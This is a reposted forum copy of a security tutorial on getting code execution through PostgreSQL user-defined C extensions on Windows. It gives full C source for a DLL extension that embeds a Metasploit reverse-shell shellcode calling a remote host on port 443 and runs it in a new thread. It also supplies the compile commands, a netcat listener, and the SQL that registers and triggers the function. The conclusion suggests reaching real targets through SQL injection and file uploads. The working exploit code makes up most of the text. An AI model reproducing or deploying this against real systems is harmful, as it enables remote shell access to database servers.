Nytro Posted November 29, 2020 Report Share Posted November 29, 2020 POSTGRESQL EXTENSION SHELLCODE EXECUTION Root InfoSec Windows Postgresql Extension Shellcode Execution Postgresql allows us to create our own user defined functions (UDF) from existing or custom extensions (as DLL files on Microsoft Windows). This is particularly useful when it comes to gain access to a target system when we control SQL execution flow and have sufficient privilege to create and user Postgres UDF. REQUIREMENTS LOCAL POSTGRESQL SERVER To maximise the chance to succeed executing our own Postgres extension, it is very important to extract the version of target Postgres server and install the exact same version in your own lab environment. In our case, we are targeting a PostgreSQL 13.1 64-bit It is also important to note the target Postgres architecture (in our case x86-64). Depending on target architecture we will need to compile our custom extension wether in 32 or 64bit. Executing a 32bit extension in a 64bit instance of Postgres will simply fail. It is naturally the same with a 64bit extension in a 32bit instance of Postgres. Installing Postgresql will also automatically extract required C header files to build our own extension. This is why it is so important to compile our custom extension in an environment with the exact same version of Postgresql server available since those files might change between two version. Those C header files are generally located at this path : C:\Program Files\PostgreSQL\<pg_version>\include Where pg_version is the version of Postgresql we want to target (in our case, version 13.x). C COMPILER To compile our custom extension, we will need to have a C compiler installed and supporting the correct architecture. We will use MinGw C 64bit compiler that comes as an extra package of Cygwin. Feel free to use and adapt the build process with your favorite C compiler / IDE. CREATE A VERY BASIC EXTENSION. minimal_extension.c #include "postgres.h" // Required postgres C header file #include "fmgr.h" // Required postgres C header file #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; // Used by postgresql to recognize a valid extension #endif /* Define which functions can be used by postgres. In our case just "custom_func" */ PGDLLEXPORT Datum custom_func(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(custom_func); /* Our custom function code goes there */ Datum custom_func(PG_FUNCTION_ARGS) { OutputDebugStringW(L"Hello from postgresql extension."); PG_RETURN_VOID(); } Above code is the minimal required code to build our own Postgresql extension. On Microsoft Windows, Postgresql extension are compiled as DLL files. We can compile our extension code using the following command: x86_64-w64-mingw32-gcc.exe minimal_extension.c -c -o minimal_extension.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32" C:\Program Files\PostgreSQL\13\include C:\Program Files\PostgreSQL\13\include\server C:\Program Files\PostgreSQL\13\include\server\port\win32 Are required postgresql header files locations. We then can build our DLL file using the following command: x86_64-w64-mingw32-gcc.exe -o minimal_extension.dll -s -shared minimal_extension.o -Wl,--subsystem,windows LOAD EXTENSION We will use the PgAdmin tool to run our custom SQL queries to load and test our custom extension. CREATE OR REPLACE FUNCTION custom_func() RETURNS void AS '<extension_path>', 'custom_func' LANGUAGE C STRICT; Where extension_path is the location of our DLL file. A little popup should say that query were successfully executed. CALL EXTENSION FUNCTION First let’s open a privileged DebugView.exe instance to catch our OutputDebugString. Be sure to have Capture > Capture Global Win32 option checked. We can now call our newly registered function from our custom extension using a basic SELECT statement. SELECT custom_func(); We should now see our message in DebugView window. Success! We are now free to replace our basic OutputDebugString with more complex code and take advantage of Postgres extension to gain privileged access on a target machine. UNREGISTER FUNCTION During development process, we will often need to patch our custom extension. Our DLL file is currently loaded by postgres process so the file is locked and can’t be patched as is. We can simply first unregister our custom function declaration using the following SQL statement DROP FUNCTION IF EXISTS custom_func; Then open our Microsoft Service manager and restart postgres service. This will unlock our DLL file. SHELLCODE EXECUTION We now know how to create and execute code from custom extension through postgres extension capabilities. We will now create a new version of our extension to execute shellcode payloads. We will use Metasploit Msfvenom to create our payload. And use a classic technique to copy our payload to a new allocated memory region and create a new thread starting code execution at this new location. This will prevent our current postgres thread to hang when executing payload. —warning— Don’t forget to replace current defined payload with your own version. —end— PgShellcodeExt.c #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif // msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=172.16.20.6 LPORT=443 -f c -v payload unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xac\x10\x14\x06\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; PGDLLEXPORT Datum shellcode(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(shellcode); Datum shellcode(PG_FUNCTION_ARGS) { /* Classic method to load a shellcode in memory and create/execute a new thread at it location. */ LPVOID p = VirtualAlloc(NULL, sizeof(payload), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); DWORD dwThreadId; MoveMemory(p, &payload, sizeof(payload)); CreateThread(NULL, 0, p, NULL, 0, &dwThreadId); PG_RETURN_VOID(); } x86_64-w64-mingw32-gcc.exe PgShellcodeExt.c -c -o PgShellcodeExt.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32" x86_64-w64-mingw32-gcc.exe -o PgShellcodeExt.dll -s -shared PgShellcodeExt.o -Wl,--subsystem,windows We can now open a new local netcat listener on our attacker’s machine. user@local:$ nc -lvp 443 And then register and trigger our custom extension with following SQL statement (still from our PgAdmin instance) -- Register new function CREATE OR REPLACE FUNCTION shellcode() RETURNS void AS 'C:\Users\Jean-Pierre LESUEUR\Desktop\PgShellcodeExt\PgShellcodeExt.dll', 'shellcode' LANGUAGE C STRICT; -- Trigger function SELECT shellcode(); -- Delete function DROP FUNCTION IF EXISTS shellcode; Checking our local netcat listener reveal we’ve successfully received our reverse shell. CONCLUSION This paper demonstrated how to take advantage of postgres extension capabilities to execute shellcode. But it will need more efforts in production to be usable. First you will need to find a way to execute SQL queries as a privileged postgres user (required to implement new extensions). Most of the time from a SQL injection present in a vulnerable application. Secondly, you will need to find a way to transmit your DLL extension to target machine: Additional SQL Statements File Uploads Shares etc… Feel free to port this example to another operating system (ex: Linux). Most of the thing are very similar. We will probably post another paper on this subject for Linux. WRITTEN THE NOV. 27, 2020, 11:14 A.M. BY JEAN-PIERRE LESUEUR UPDATED: 2 DAYS, 3 HOURS AGO. Sursa: https://www.phrozen.io/resources/paper/41df297b-cfe3-43ec-88e8-0686e5548dd5 Quote Link to comment Share on other sites More sharing options...